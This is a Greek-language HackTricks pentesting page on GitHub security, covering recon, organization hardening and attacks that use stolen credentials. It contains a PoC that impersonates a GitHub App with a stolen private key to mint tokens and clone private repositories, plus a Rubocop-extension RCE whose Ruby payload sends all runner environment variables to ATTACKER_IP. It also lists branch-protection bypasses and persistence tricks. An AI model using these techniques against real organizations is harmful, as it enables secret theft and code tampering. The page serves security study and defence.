Github Security

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το Github

(Από εδώ) Σε υψηλό επίπεδο, το GitHub είναι μια ιστοσελίδα και μια υπηρεσία βασισμένη στο cloud που βοηθά τους προγραμματιστές να αποθηκεύουν και να διαχειρίζονται τον κώδικά τους, καθώς και να παρακολουθούν και να ελέγχουν τις αλλαγές στον κώδικά τους.

Βασικές Πληροφορίες

Basic Github Information

Εξωτερική Αναγνώριση

Τα αποθετήρια του Github μπορούν να ρυθμιστούν ως δημόσια, ιδιωτικά και εσωτερικά.

  • Ιδιωτικά σημαίνει ότι μόνο οι άνθρωποι της οργάνωσης θα μπορούν να τα προσπελάσουν
  • Εσωτερικά σημαίνει ότι μόνο οι άνθρωποι της επιχείρησης (μια επιχείρηση μπορεί να έχει πολλές οργανώσεις) θα μπορούν να το προσπελάσουν
  • Δημόσια σημαίνει ότι όλο το διαδίκτυο θα μπορεί να το προσπελάσει.

Σε περίπτωση που γνωρίζετε τον χρήστη, το αποθετήριο ή την οργάνωση που θέλετε να στοχεύσετε, μπορείτε να χρησιμοποιήσετε github dorks για να βρείτε ευαίσθητες πληροφορίες ή να αναζητήσετε ευαίσθητες πληροφορίες διαρροών σε κάθε αποθετήριο.

Github Dorks

Το Github επιτρέπει να αναζητάτε κάτι καθορίζοντας ως πεδίο έναν χρήστη, ένα αποθετήριο ή μια οργάνωση. Επομένως, με μια λίστα από συμβολοσειρές που θα εμφανίζονται κοντά σε ευαίσθητες πληροφορίες, μπορείτε εύκολα να αναζητήσετε πιθανές ευαίσθητες πληροφορίες στον στόχο σας.

Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με dorks):

Github Leaks

Παρακαλώ σημειώστε ότι οι github dorks προορίζονται επίσης για αναζητήσεις διαρροών χρησιμοποιώντας τις επιλογές αναζήτησης του github. Αυτή η ενότητα είναι αφιερωμένη σε εκείνα τα εργαλεία που θα κατεβάσουν κάθε αποθετήριο και θα αναζητήσουν ευαίσθητες πληροφορίες σε αυτά (ακόμη και ελέγχοντας ορισμένο βάθος commits).

Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με regex):

Δείτε αυτή τη σελίδα: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Warning

Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι όπως git log -p, μην ξεχάσετε ότι μπορεί να υπάρχουν άλλες branches με άλλα commits που περιέχουν μυστικά!

Εξωτερικά Forks

Είναι δυνατόν να συμβιβάσετε αποθετήρια εκμεταλλευόμενοι τα pull requests. Για να γνωρίζετε αν ένα αποθετήριο είναι ευάλωτο, πρέπει κυρίως να διαβάσετε τις ρυθμίσεις yaml των Github Actions. Περισσότερες πληροφορίες παρακάτω.

Github Leaks σε διαγραμμένα/εσωτερικά forks

Ακόμη και αν είναι διαγραμμένα ή εσωτερικά, μπορεί να είναι δυνατό να αποκτήσετε ευαίσθητα δεδομένα από forks αποθετηρίων του github. Ελέγξτε το εδώ:

Accessible Deleted Data in Github

Σκληροποίηση Οργάνωσης

Προ privileges Μελών

Υπάρχουν ορισμένα προεπιλεγμένα προνόμια που μπορούν να ανατεθούν σε μέλη της οργάνωσης. Αυτά μπορούν να ελεγχθούν από τη σελίδα https://github.com/organizations/<org_name>/settings/member_privileges ή από το Organizations API.

  • Βασικές άδειες: Τα μέλη θα έχουν την άδεια None/Read/write/Admin πάνω στα αποθετήρια της οργάνωσης. Συνιστάται το None ή Read.
  • Forking αποθετηρίων: Αν δεν είναι απαραίτητο, είναι καλύτερα να μην επιτρέπεται στα μέλη να fork-άρουν τα αποθετήρια της οργάνωσης.
  • Δημιουργία σελίδων: Αν δεν είναι απαραίτητο, είναι καλύτερα να μην επιτρέπεται στα μέλη να δημοσιεύουν σελίδες από τα αποθετήρια της οργάνωσης. Αν είναι απαραίτητο, μπορείτε να επιτρέψετε τη δημιουργία δημόσιων ή ιδιωτικών σελίδων.
  • Αιτήματα πρόσβασης για ενσωματώσεις: Με αυτό ενεργοποιημένο, οι εξωτερικοί συνεργάτες θα μπορούν να ζητούν πρόσβαση για εφαρμογές GitHub ή OAuth να έχουν πρόσβαση σε αυτή την οργάνωση και τους πόρους της. Συνήθως είναι απαραίτητο, αλλά αν όχι, είναι καλύτερα να το απενεργοποιήσετε.
  • Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε
  • Αλλαγή ορατότητας αποθετηρίου: Αν είναι ενεργοποιημένο, τα μέλη με admin δικαιώματα για το αποθετήριο θα μπορούν να αλλάξουν την ορατότητά του. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να αλλάξουν τις ορατότητες των αποθετηρίων. Αν δεν θέλετε οι άνθρωποι να κάνουν τα πράγματα δημόσια, βεβαιωθείτε ότι αυτό είναι απενεργοποιημένο.
  • Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε
  • Διαγραφή και μεταφορά αποθετηρίων: Αν είναι ενεργοποιημένο, τα μέλη με admin δικαιώματα για το αποθετήριο θα μπορούν να διαγράψουν ή να μεταφέρουν δημόσια και ιδιωτικά αποθετήρια.
  • Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε
  • Επιτρέψτε στα μέλη να δημιουργούν ομάδες: Αν είναι ενεργοποιημένο, οποιοδήποτε μέλος της οργάνωσης θα μπορεί να δημιουργήσει νέες ομάδες. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να δημιουργήσουν νέες ομάδες. Είναι καλύτερα να έχετε αυτό απενεργοποιημένο.
  • Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε
  • Περισσότερα πράγματα μπορούν να ρυθμιστούν σε αυτή τη σελίδα, αλλά τα προηγούμενα είναι τα πιο σχετιζόμενα με την ασφάλεια.

Ρυθμίσεις Δράσεων

Διάφορες ρυθμίσεις σχετικές με την ασφάλεια μπορούν να ρυθμιστούν για τις δράσεις από τη σελίδα https://github.com/organizations/<org_name>/settings/actions.

Note

Σημειώστε ότι όλες αυτές οι ρυθμίσεις μπορούν επίσης να οριστούν σε κάθε αποθετήριο ανεξάρτητα

  • Πολιτικές δράσεων Github: Σας επιτρέπει να υποδείξετε ποια αποθετήρια μπορούν να εκτελούν workflows και ποια workflows θα πρέπει να επιτρέπονται. Συνιστάται να καθορίσετε ποια αποθετήρια θα πρέπει να επιτρέπονται και να μην επιτρέπετε σε όλες τις δράσεις να εκτελούνται.
  • API-1, API-2
  • Fork pull request workflows από εξωτερικούς συνεργάτες: Συνιστάται να απαιτείται έγκριση για όλους τους εξωτερικούς συνεργάτες.
  • Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε
  • Εκτέλεση workflows από fork pull requests: Είναι πολύ απαγορευμένο να εκτελούνται workflows από pull requests καθώς οι διαχειριστές της προέλευσης του fork θα αποκτήσουν τη δυνατότητα να χρησιμοποιούν tokens με δικαιώματα ανάγνωσης στο αποθετήριο προέλευσης.
  • Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε
  • Δικαιώματα workflows: Συνιστάται να δίνονται μόνο δικαιώματα ανάγνωσης αποθετηρίου. Είναι απαγορευμένο να δίνονται δικαιώματα εγγραφής και δημιουργίας/έγκρισης pull requests για να αποφευχθεί η κακή χρήση του GITHUB_TOKEN που δίνεται για την εκτέλεση workflows.
  • API

Ενσωματώσεις

Ενημερώστε με αν γνωρίζετε το API endpoint για να αποκτήσετε αυτές τις πληροφορίες!

  • Πολιτική πρόσβασης εφαρμογών τρίτων: Συνιστάται να περιορίζετε την πρόσβαση σε κάθε εφαρμογή και να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).
  • Εγκατεστημένες εφαρμογές GitHub: Συνιστάται να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).

Αναγνώριση & Επιθέσεις εκμεταλλευόμενες διαπιστευτήρια

Για αυτό το σενάριο θα υποθέσουμε ότι έχετε αποκτήσει κάποια πρόσβαση σε έναν λογαριασμό github.

Με Διαπιστευτήρια Χρήστη

Αν έχετε κάπως ήδη διαπιστευτήρια για έναν χρήστη μέσα σε μια οργάνωση, μπορείτε απλά να συνδεθείτε και να ελέγξετε ποιους ρόλους επιχείρησης και οργάνωσης έχετε, αν είστε απλός μέλος, ελέγξτε ποια δικαιώματα έχουν τα απλά μέλη, σε ποιες ομάδες είστε, ποια δικαιώματα έχετε πάνω σε ποια αποθετήρια, και πώς είναι προστατευμένα τα αποθετήρια.

Σημειώστε ότι η 2FA μπορεί να χρησιμοποιείται οπότε θα μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες μόνο αν μπορείτε επίσης να περάσετε αυτόν τον έλεγχο.

Note

Σημειώστε ότι αν καταφέρετε να κλέψετε το cookie user_session (τώρα ρυθμισμένο με SameSite: Lax) μπορείτε να παριστάνετε πλήρως τον χρήστη χωρίς να χρειάζεστε διαπιστευτήρια ή 2FA.

Ελέγξτε την παρακάτω ενότητα σχετικά με παρακάμψεις προστασίας branch σε περίπτωση που είναι χρήσιμη.

Με Κλειδί SSH Χρήστη

Το Github επιτρέπει στους χρήστες να ρυθμίζουν κλειδιά SSH που θα χρησιμοποιούνται ως μέθοδος αυθεντικοποίησης για την ανάπτυξη κώδικα εκ μέρους τους (δεν εφαρμόζεται 2FA).

Με αυτό το κλειδί μπορείτε να κάνετε αλλαγές σε αποθετήρια όπου ο χρήστης έχει κάποια προνόμια, ωστόσο δεν μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στο github api για να καταγράψετε το περιβάλλον. Ωστόσο, μπορείτε να καταγράψετε τις τοπικές ρυθμίσεις για να αποκτήσετε πληροφορίες σχετικά με τα αποθετήρια και τον χρήστη που έχετε πρόσβαση:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Αν ο χρήστης έχει ρυθμίσει το όνομα χρήστη του ως το όνομα χρήστη του github, μπορείτε να αποκτήσετε πρόσβαση στα δημόσια κλειδιά που έχει ρυθμίσει στον λογαριασμό του στο https://github.com/<github_username>.keys, μπορείτε να το ελέγξετε αυτό για να επιβεβαιώσετε ότι το ιδιωτικό κλειδί που βρήκατε μπορεί να χρησιμοποιηθεί.

SSH keys μπορούν επίσης να ρυθμιστούν σε αποθετήρια ως deploy keys. Οποιοσδήποτε έχει πρόσβαση σε αυτό το κλειδί θα μπορεί να εκκινήσει έργα από ένα αποθετήριο. Συνήθως σε έναν διακομιστή με διαφορετικά deploy keys, το τοπικό αρχείο ~/.ssh/config θα σας δώσει πληροφορίες σχετικά με το ποιο κλειδί σχετίζεται.

GPG Keys

Όπως εξηγείται εδώ, μερικές φορές είναι απαραίτητο να υπογράψετε τις δεσμεύσεις ή μπορεί να σας ανακαλύψουν.

Ελέγξτε τοπικά αν ο τρέχων χρήστης έχει κάποιο κλειδί με:

gpg --list-secret-keys --keyid-format=long

Με Token Χρήστη

Για μια εισαγωγή σχετικά με Tokens Χρήστη ελέγξτε τις βασικές πληροφορίες.

Ένα token χρήστη μπορεί να χρησιμοποιηθεί αντί για κωδικό πρόσβασης για το Git μέσω HTTPS, ή μπορεί να χρησιμοποιηθεί για αυθεντικοποίηση στην API μέσω Βασικής Αυθεντικοποίησης. Ανάλογα με τα δικαιώματα που συνδέονται με αυτό, μπορεί να είστε σε θέση να εκτελέσετε διάφορες ενέργειες.

Ένα token χρήστη φαίνεται έτσι: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Με Εφαρμογή Oauth

Για μια εισαγωγή σχετικά με Εφαρμογές Oauth του Github ελέγξτε τις βασικές πληροφορίες.

Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κακόβουλη Εφαρμογή Oauth για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.

Αυτές είναι οι περιοχές που μπορεί να ζητήσει μια εφαρμογή Oauth. Ένας χρήστης θα πρέπει πάντα να ελέγχει τις περιοχές που ζητούνται πριν τις αποδεχτεί.

Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.

Με Εφαρμογή Github

Για μια εισαγωγή σχετικά με Εφαρμογές Github ελέγξτε τις βασικές πληροφορίες.

Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κακόβουλη Εφαρμογή Github για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.

Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.

Υποκίνηση μιας Εφαρμογής GitHub με το ιδιωτικό της κλειδί (JWT → tokens πρόσβασης εγκατάστασης)

Αν αποκτήσετε το ιδιωτικό κλειδί (PEM) μιας Εφαρμογής GitHub, μπορείτε να υποκρίνεστε πλήρως την εφαρμογή σε όλες τις εγκαταστάσεις της:

  • Δημιουργήστε ένα βραχυχρόνιο JWT υπογεγραμμένο με το ιδιωτικό κλειδί
  • Καλέστε το REST API της Εφαρμογής GitHub για να απαριθμήσετε τις εγκαταστάσεις
  • Δημιουργήστε tokens πρόσβασης ανά εγκατάσταση και χρησιμοποιήστε τα για να καταγράψετε/κλωνοποιήσετε/σπρώξετε σε αποθετήρια που έχουν παραχωρηθεί σε αυτή την εγκατάσταση

Απαιτήσεις:

  • Ιδιωτικό κλειδί Εφαρμογής GitHub (PEM)
  • ID Εφαρμογής GitHub (αριθμητικό). Το GitHub απαιτεί το iss να είναι το ID της Εφαρμογής

Δημιουργία JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Λίστα εγκαταστάσεων για την αυθεντικοποιημένη εφαρμογή:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Δημιουργήστε ένα διακριτικό πρόσβασης εγκατάστασης (έγκυρο ≤ 10 λεπτά):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Χρησιμοποιήστε το token για να αποκτήσετε πρόσβαση στον κώδικα. Μπορείτε να κλωνοποιήσετε ή να σπρώξετε χρησιμοποιώντας τη μορφή URL x‑access‑token:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Προγραμματική PoC για να στοχεύσετε μια συγκεκριμένη οργάνωση και να καταγράψετε ιδιωτικά αποθετήρια (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Σημειώσεις:

  • Τα tokens εγκατάστασης κληρονομούν ακριβώς τα δικαιώματα επιπέδου αποθετηρίου της εφαρμογής (για παράδειγμα, contents: write, pull_requests: write)
  • Τα tokens λήγουν σε ≤10 λεπτά, αλλά νέα tokens μπορούν να δημιουργηθούν επ’ αόριστον όσο διατηρείτε το ιδιωτικό κλειδί
  • Μπορείτε επίσης να απαριθμήσετε τις εγκαταστάσεις μέσω του REST API (GET /app/installations) χρησιμοποιώντας το JWT

Συμβιβασμός & Κατάχρηση Github Action

Υπάρχουν αρκετές τεχνικές για να συμβιβάσετε και να καταχραστείτε ένα Github Action, ελέγξτε τις εδώ:

Abusing Github Actions

Κατάχρηση τρίτων GitHub Apps που εκτελούν εξωτερικά εργαλεία (Rubocop extension RCE)

Ορισμένα GitHub Apps και υπηρεσίες αναθεώρησης PR εκτελούν εξωτερικούς ελέγχους/SAST κατά των pull requests χρησιμοποιώντας αρχεία ρυθμίσεων που ελέγχονται από το αποθετήριο. Εάν ένα υποστηριζόμενο εργαλείο επιτρέπει τη δυναμική φόρτωση κώδικα, ένα PR μπορεί να επιτύχει RCE στον εκτελεστή της υπηρεσίας.

Παράδειγμα: Το Rubocop υποστηρίζει τη φόρτωση επεκτάσεων από τη YAML ρύθμισή του. Εάν η υπηρεσία περάσει ένα .rubocop.yml που παρέχεται από το αποθετήριο, μπορείτε να εκτελέσετε αυθαίρετο Ruby απαιτώντας ένα τοπικό αρχείο.

  • Οι συνθήκες ενεργοποίησης συνήθως περιλαμβάνουν:
  • Το εργαλείο είναι ενεργοποιημένο στην υπηρεσία
  • Το PR περιέχει αρχεία που αναγνωρίζει το εργαλείο (για το Rubocop: .rb)
  • Το αποθετήριο περιέχει το αρχείο ρύθμισης του εργαλείου (το Rubocop αναζητά το .rubocop.yml οπουδήποτε)

Εκμεταλλευτείτε τα αρχεία στο PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (εξαγωγή μεταβλητών περιβάλλοντος runner):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Επίσης, συμπεριλάβετε ένα αρκετά μεγάλο ψεύτικο αρχείο Ruby (π.χ., main.rb) ώστε ο linter να εκτελείται πραγματικά.

Επιπτώσεις που παρατηρήθηκαν στην πραγματικότητα:

  • Πλήρης εκτέλεση κώδικα στον παραγωγικό runner που εκτέλεσε τον linter
  • Εξαγωγή ευαίσθητων μεταβλητών περιβάλλοντος, συμπεριλαμβανομένου του ιδιωτικού κλειδιού GitHub App που χρησιμοποιείται από την υπηρεσία, API keys, DB credentials, κ.λπ.
  • Με ένα διαρρεύσαν ιδιωτικό κλειδί GitHub App μπορείτε να δημιουργήσετε tokens εγκατάστασης και να αποκτήσετε πρόσβαση ανάγνωσης/εγγραφής σε όλα τα αποθετήρια που έχουν παραχωρηθεί σε αυτήν την εφαρμογή (βλ. την παραπάνω ενότητα σχετικά με την προσποίηση GitHub App)

Κατευθυντήριες γραμμές ενίσχυσης για υπηρεσίες που εκτελούν εξωτερικά εργαλεία:

  • Αντιμετωπίστε τις ρυθμίσεις εργαλείων που παρέχονται από το αποθετήριο ως μη αξιόπιστο κώδικα
  • Εκτελέστε εργαλεία σε αυστηρά απομονωμένα sandbox χωρίς ευαίσθητες μεταβλητές περιβάλλοντος
  • Εφαρμόστε πιστοποιήσεις ελάχιστης προνομιακής πρόσβασης και απομόνωση συστήματος αρχείων, και περιορίστε/αρνηθείτε την έξοδο δικτύου για εργαλεία που δεν απαιτούν πρόσβαση στο διαδίκτυο

Παράκαμψη Προστασίας Κλάδου

  • Απαιτήστε έναν αριθμό εγκρίσεων: Εάν έχετε παραβιάσει αρκετούς λογαριασμούς, μπορεί να αποδεχθείτε τα PR σας από άλλους λογαριασμούς. Εάν έχετε μόνο τον λογαριασμό από τον οποίο δημιουργήσατε το PR, δεν μπορείτε να αποδεχθείτε το δικό σας PR. Ωστόσο, εάν έχετε πρόσβαση σε ένα Github Action περιβάλλον μέσα στο repo, χρησιμοποιώντας το GITHUB_TOKEN μπορεί να είστε σε θέση να εγκρίνετε το PR σας και να αποκτήσετε 1 έγκριση με αυτόν τον τρόπο.
  • Σημείωση για αυτό και για τον περιορισμό των Code Owners ότι συνήθως ένας χρήστης δεν θα μπορεί να εγκρίνει τα δικά του PR, αλλά αν μπορείτε, μπορείτε να το εκμεταλλευτείτε για να αποδεχθείτε τα PR σας.
  • Ανακαλέστε τις εγκρίσεις όταν προστεθούν νέες δεσμεύσεις: Εάν αυτό δεν έχει ρυθμιστεί, μπορείτε να υποβάλετε νόμιμο κώδικα, να περιμένετε μέχρι να το εγκρίνει κάποιος και να προσθέσετε κακόβουλο κώδικα και να το συγχωνεύσετε στον προστατευμένο κλάδο.
  • Απαιτήστε αναθεωρήσεις από τους Code Owners: Εάν αυτό είναι ενεργοποιημένο και είστε Code Owner, μπορείτε να κάνετε ένα Github Action να δημιουργήσει το PR σας και στη συνέχεια να το εγκρίνετε εσείς οι ίδιοι.
  • Όταν ένα CODEOWNER αρχείο είναι λανθασμένα ρυθμισμένο το Github δεν παραπονιέται αλλά δεν το χρησιμοποιεί. Επομένως, εάν είναι λανθασμένα ρυθμισμένο, η προστασία Code Owners δεν εφαρμόζεται.
  • Επιτρέψτε σε καθορισμένους ηθοποιούς να παρακάμψουν τις απαιτήσεις αιτήσεων έλξης: Εάν είστε ένας από αυτούς τους ηθοποιούς μπορείτε να παρακάμψετε τις προστασίες αιτήσεων έλξης.
  • Συμπεριλάβετε διαχειριστές: Εάν αυτό δεν έχει ρυθμιστεί και είστε διαχειριστής του repo, μπορείτε να παρακάμψετε αυτές τις προστασίες κλάδου.
  • Απαγωγή PR: Μπορείτε να είστε σε θέση να τροποποιήσετε το PR κάποιου άλλου προσθέτοντας κακόβουλο κώδικα, εγκρίνοντας το προκύπτον PR εσείς οι ίδιοι και συγχωνεύοντας τα πάντα.
  • Αφαίρεση Προστασιών Κλάδου: Εάν είστε διαχειριστής του repo μπορείτε να απενεργοποιήσετε τις προστασίες, να συγχωνεύσετε το PR σας και να επαναφέρετε τις προστασίες.
  • Παράκαμψη προστασιών push: Εάν ένα repo επιτρέπει μόνο σε ορισμένους χρήστες να στέλνουν push (συγχώνευση κώδικα) σε κλάδους (η προστασία κλάδου μπορεί να προστατεύει όλους τους κλάδους καθορίζοντας το wildcard *).
  • Εάν έχετε δικαιώματα εγγραφής στο repo αλλά δεν επιτρέπεται να στείλετε κώδικα λόγω της προστασίας κλάδου, μπορείτε να δημιουργήσετε μια νέα κλάδο και μέσα σε αυτήν να δημιουργήσετε μια github action που ενεργοποιείται όταν στέλνεται κώδικας. Καθώς η προστασία κλάδου δεν θα προστατεύει την κλάδο μέχρι να δημιουργηθεί, αυτή η πρώτη αποστολή κώδικα στην κλάδο θα εκτελέσει την github action.

Παράκαμψη Προστασιών Περιβαλλόντων

Για μια εισαγωγή σχετικά με Github Environment ελέγξτε τις βασικές πληροφορίες.

Σε περίπτωση που ένα περιβάλλον μπορεί να προσεγγιστεί από όλους τους κλάδους, δεν είναι προστατευμένο και μπορείτε εύκολα να αποκτήσετε πρόσβαση στα μυστικά μέσα στο περιβάλλον. Σημειώστε ότι μπορεί να βρείτε repos όπου όλοι οι κλάδοι είναι προστατευμένοι (καθορίζοντας τα ονόματά τους ή χρησιμοποιώντας *) σε αυτή την περίπτωση, βρείτε έναν κλάδο όπου μπορείτε να στείλετε κώδικα και μπορείτε να εξαγάγετε τα μυστικά δημιουργώντας μια νέα github action (ή τροποποιώντας μία).

Σημειώστε ότι μπορεί να βρείτε την ακραία περίπτωση όπου όλοι οι κλάδοι είναι προστατευμένοι (μέσω wildcard *) και καθορίζεται ποιος μπορεί να στείλει κώδικα στους κλάδους (μπορείτε να το καθορίσετε αυτό στην προστασία κλάδου) και ο χρήστης σας δεν επιτρέπεται. Μπορείτε να εκτελέσετε μια προσαρμοσμένη github action γιατί μπορείτε να δημιουργήσετε μια κλάδο και να χρησιμοποιήσετε το trigger push πάνω της. Η προστασία κλάδου επιτρέπει την αποστολή σε μια νέα κλάδο, οπότε η github action θα ενεργοποιηθεί.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Σημειώστε ότι μετά τη δημιουργία του κλάδου, η προστασία του κλάδου θα ισχύει για τον νέο κλάδο και δεν θα μπορείτε να τον τροποποιήσετε, αλλά μέχρι τότε θα έχετε ήδη εξάγει τα μυστικά.

Επιμονή

  • Δημιουργία token χρήστη
  • Κλοπή github tokens από μυστικά
  • Διαγραφή των αποτελεσμάτων ροής εργασίας και κλάδων
  • Δώστε περισσότερες άδειες σε όλη την οργάνωση
  • Δημιουργία webhooks για εξαγωγή πληροφοριών
  • Πρόσκληση εξωτερικών συνεργατών
  • Αφαίρεση των webhooks που χρησιμοποιούνται από το SIEM
  • Δημιουργία/τροποποίηση Github Action με πίσω πόρτα
  • Βρείτε ευάλωτο Github Action για εκτέλεση εντολών μέσω τροποποίησης της τιμής μυστικού

Ψεύτικες Δεσμεύσεις - Πίσω πόρτα μέσω δεσμεύσεων αποθετηρίου

Στο Github είναι δυνατό να δημιουργήσετε ένα PR σε ένα αποθετήριο από ένα fork. Ακόμα και αν το PR δεν γίνει αποδεκτό, μια δέσμευση id μέσα στο αρχικό αποθετήριο θα δημιουργηθεί για την έκδοση fork του κώδικα. Επομένως, ένας επιτιθέμενος θα μπορούσε να επιμείνει να χρησιμοποιήσει μια συγκεκριμένη δέσμευση από ένα φαινομενικά νόμιμο αποθετήριο που δεν δημιουργήθηκε από τον ιδιοκτήτη του αποθετηρίου.

Όπως αυτό:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Για περισσότερες πληροφορίες, ελέγξτε https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks